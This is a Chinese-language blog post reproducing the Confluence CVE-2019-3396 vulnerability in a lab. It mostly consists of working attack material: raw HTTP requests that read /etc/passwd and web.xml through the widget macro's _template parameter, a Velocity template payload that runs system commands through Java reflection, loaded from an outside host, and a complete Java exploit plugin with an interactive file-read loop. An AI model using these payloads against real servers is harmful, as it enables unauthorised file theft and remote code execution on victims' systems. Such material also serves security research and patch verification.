Atlassian Confluence RCE CVE-2019-3396

关于Confluence

Atlassian Confluence 是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

漏洞分析

https://paper.seebug.org/884/

漏洞复现

安装

参照vulhub,用docker启动一个存在漏洞的实例。

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396

访问 http://ip:8090/ 开始安装。

点击“Get an evaluation license”,登录google账号生成一个license。

1.jpg

文件读取

POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: *****:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://****:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

2.jpg

限制了目录跳转,不能再往上跳了,不过可以使用file协议来读取绝对路径的文件

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

3.jpg

RCE复现

参照“https://www.t00ls.net/thread-50686-1-1.html”的EXP,可以回显命令执行结果。

需要把这段表达式存成rce.vm放在服务器上,可以是https或者ftp协议。

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

这是一段 Velocity 表达式,通过给出的代码可以知道是通过Java反射来执行系统命令。

不懂模板注入可以参考drops的这篇文章服务端模板注入:现代WEB远程代码执行

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://www.trackray.cn/rce.vm","cmd":"id"}}}

4.jpg

EXP

trackray

package com.trackray.module.plugin.webapp.confluence;

import com.trackray.base.annotation.Param;
import com.trackray.base.annotation.Plugin;
import com.trackray.base.annotation.Rule;
import com.trackray.base.plugin.WebSocketPlugin;
import com.trackray.base.utils.Message;
import org.javaweb.core.net.HttpResponse;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import org.springframework.web.util.HtmlUtils;

import java.net.MalformedURLException;
import java.util.Map;

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/4/10 12:55
 */
@Plugin(value = "confluenceRCE",
        title = "Confluence RCE CVE-2019-3396",
        author = "blue")
@Rule(websocket = true,params = {@Param(key = "url" ,desc = "目标地址")})
public class ConfluenceServerRCE extends WebSocketPlugin {
    public static String readFilePayload = "{\"contentId\":\"786458\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc6\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"%s\"}}}";

    @Override
    public boolean check(Map param) {
        if (!param.isEmpty()){
            this.url = param.get(this.currentParams()[0].key()).toString();
            if (url.endsWith("/"))
                url = url.substring(0,url.length()-1);
            Document parse = attack(String.format(readFilePayload, "../web.xml"));
            if (parse!=null){
                Elements wiki = parse.getElementsByClass("wiki-content");
                if (wiki!=null&&wiki.hasText()){
                    String text = wiki.html();
                    if (text.contains("filter-class"))
                        sendColorMsg(Message.RED("存在安全漏洞"));
                        return true;
                }
            }
        }
        return false;
    }
    private String url ;
    @Override
    public Object start() {

        send("请输入要读取的文件 如/etc/passwd,输入exit退出");

        while(true){
            String input = getInput();
            if (input.equals("exit"))
                break;

            if (input.startsWith("/"))
                input = input.substring(1,input.length());
            String format = String.format(readFilePayload, "file:///".concat(input));
            Document parse = attack(format);

            if (parse!=null){
                Elements wiki = parse.getElementsByClass("wiki-content");
                if (wiki!=null&&wiki.hasText()){
                    String text = wiki.html();
                    send("=========================");
                    sendColorMsg(Message.RED(HtmlUtils.htmlEscape(text)));
                    send("=========================");
                }
            }

        }

        return "";
    }

    private Document attack(String data){
        try {
            HttpResponse post = requests.url(url.concat("/rest/tinymce/1/macro/preview"))
                    .contentType("application/json; charset=utf-8")
                    .timeout(60000)
                    .referer(url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&")
                    .data(data).post();

            String body = post.body();
            if (body!=null)
                return Jsoup.parse(body);

        } catch (MalformedURLException e) {

        }
        return null;
    }
}

参考

Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

CVE-2019-3396 confluence SSTI RCE EXP

发表留言

人生在世,错别字在所难免,无需纠正。